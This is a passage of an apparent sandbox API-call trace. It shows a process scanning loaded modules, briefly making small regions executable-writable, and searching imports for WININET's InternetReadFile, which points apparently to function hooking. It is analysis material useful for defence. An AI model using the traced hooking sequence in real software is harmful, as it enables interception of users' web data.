lpBuffer=0x26fce4*(BaseAddress=0x754e0000, AllocationBase=0x754e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.590] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.590] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.590] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75050000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x75050000, AllocationBase=0x75050000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.590] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.590] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.590] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ea0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74ea0000, AllocationBase=0x74ea0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.590] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.590] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.590] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74e90000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74e90000, AllocationBase=0x74e90000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.590] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.591] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.591] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76c00000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x76c00000, AllocationBase=0x76c00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.591] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.591] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.591] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76850000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x76850000, AllocationBase=0x76850000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.591] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.591] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.591] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754d0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x754d0000, AllocationBase=0x754d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.591] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.591] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.591] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x757f0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x757f0000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.591] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.591] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.591] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d00000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x76d00000, AllocationBase=0x76d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.591] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.591] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.591] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75890000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x75890000, AllocationBase=0x75890000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.591] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.591] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.591] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d60000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x76d60000, AllocationBase=0x76d60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.591] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.592] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.592] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76650000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x76650000, AllocationBase=0x76650000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.592] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.592] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.592] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x756b0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x756b0000, AllocationBase=0x756b0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.592] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.592] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.592] VirtualProtect (in: lpAddress=0x756b1150, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x20) returned 1 [0073.592] VirtualProtect (in: lpAddress=0x756b1150, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.593] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb80 [0073.593] VirtualProtect (in: lpAddress=0x756b117c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x20) returned 1 [0073.593] VirtualProtect (in: lpAddress=0x756b117c, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.593] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ebb8 [0073.593] VirtualProtect (in: lpAddress=0x756b1160, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x20) returned 1 [0073.594] VirtualProtect (in: lpAddress=0x756b1160, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.594] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ebf0 [0073.594] VirtualProtect (in: lpAddress=0x756b1180, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x20) returned 1 [0073.594] VirtualProtect (in: lpAddress=0x756b1180, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.595] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ec28 [0073.595] VirtualProtect (in: lpAddress=0x756b1154, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x20) returned 1 [0073.595] VirtualProtect (in: lpAddress=0x756b1154, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.595] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ec60 [0073.595] VirtualProtect (in: lpAddress=0x756b116c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x20) returned 1 [0073.596] VirtualProtect (in: lpAddress=0x756b116c, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.596] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ec98 [0073.596] VirtualProtect (in: lpAddress=0x756b11cc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x20) returned 1 [0073.596] VirtualProtect (in: lpAddress=0x756b11cc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.596] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x768e0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x768e0000, AllocationBase=0x768e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.597] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.597] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.597] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76590000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x76590000, AllocationBase=0x76590000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.597] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.597] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.597] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74f30000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74f30000, AllocationBase=0x74f30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.597] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.597] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.597] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x752c0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x752c0000, AllocationBase=0x752c0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.597] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.597] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.597] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75140000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x75140000, AllocationBase=0x75140000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.597] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.597] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.597] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76b30000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x76b30000, AllocationBase=0x76b30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.597] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.597] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.597] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d40000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74d40000, AllocationBase=0x74d40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.597] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.597] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.597] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d00000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74d00000, AllocationBase=0x74d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.598] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.598] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.598] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ce0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74ce0000, AllocationBase=0x74ce0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.598] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.598] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.598] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74cb0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74cb0000, AllocationBase=0x74cb0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.598] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.598] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.598] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74c20000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74c20000, AllocationBase=0x74c20000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.598] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.598] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.598] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77310000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x77310000, AllocationBase=0x77310000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.598] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.598] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.598] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73c80000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73c80000, AllocationBase=0x73c80000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.598] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.598] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.648] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.648] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.648] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0073.648] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0073.649] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0073.649] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="InternetReadFile") returned 1 [0073.649] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFile") returned 1 [0073.649] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="InternetReadFile") returned 1 [0073.649] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="InternetReadFile") returned 1 [0073.649] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetReadFile") returned 1 [0073.649] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetReadFile") returned 1 [0073.649] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetReadFile") returned 1 [0073.649] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetReadFile") returned 1 [0073.649] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.649] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="InternetReadFile") returned 1 [0073.650] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="InternetReadFile") returned 1 [0073.650] lstrcmpiA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="ReadUrlCacheEntryStream", lpString2="InternetReadFile") returned 1 [0073.650] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFile") returned -1 [0073.650] lstrcmpiA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFile") returned -1 [0073.650] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.650] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.650] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.650] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0073.650] lstrcmpiA 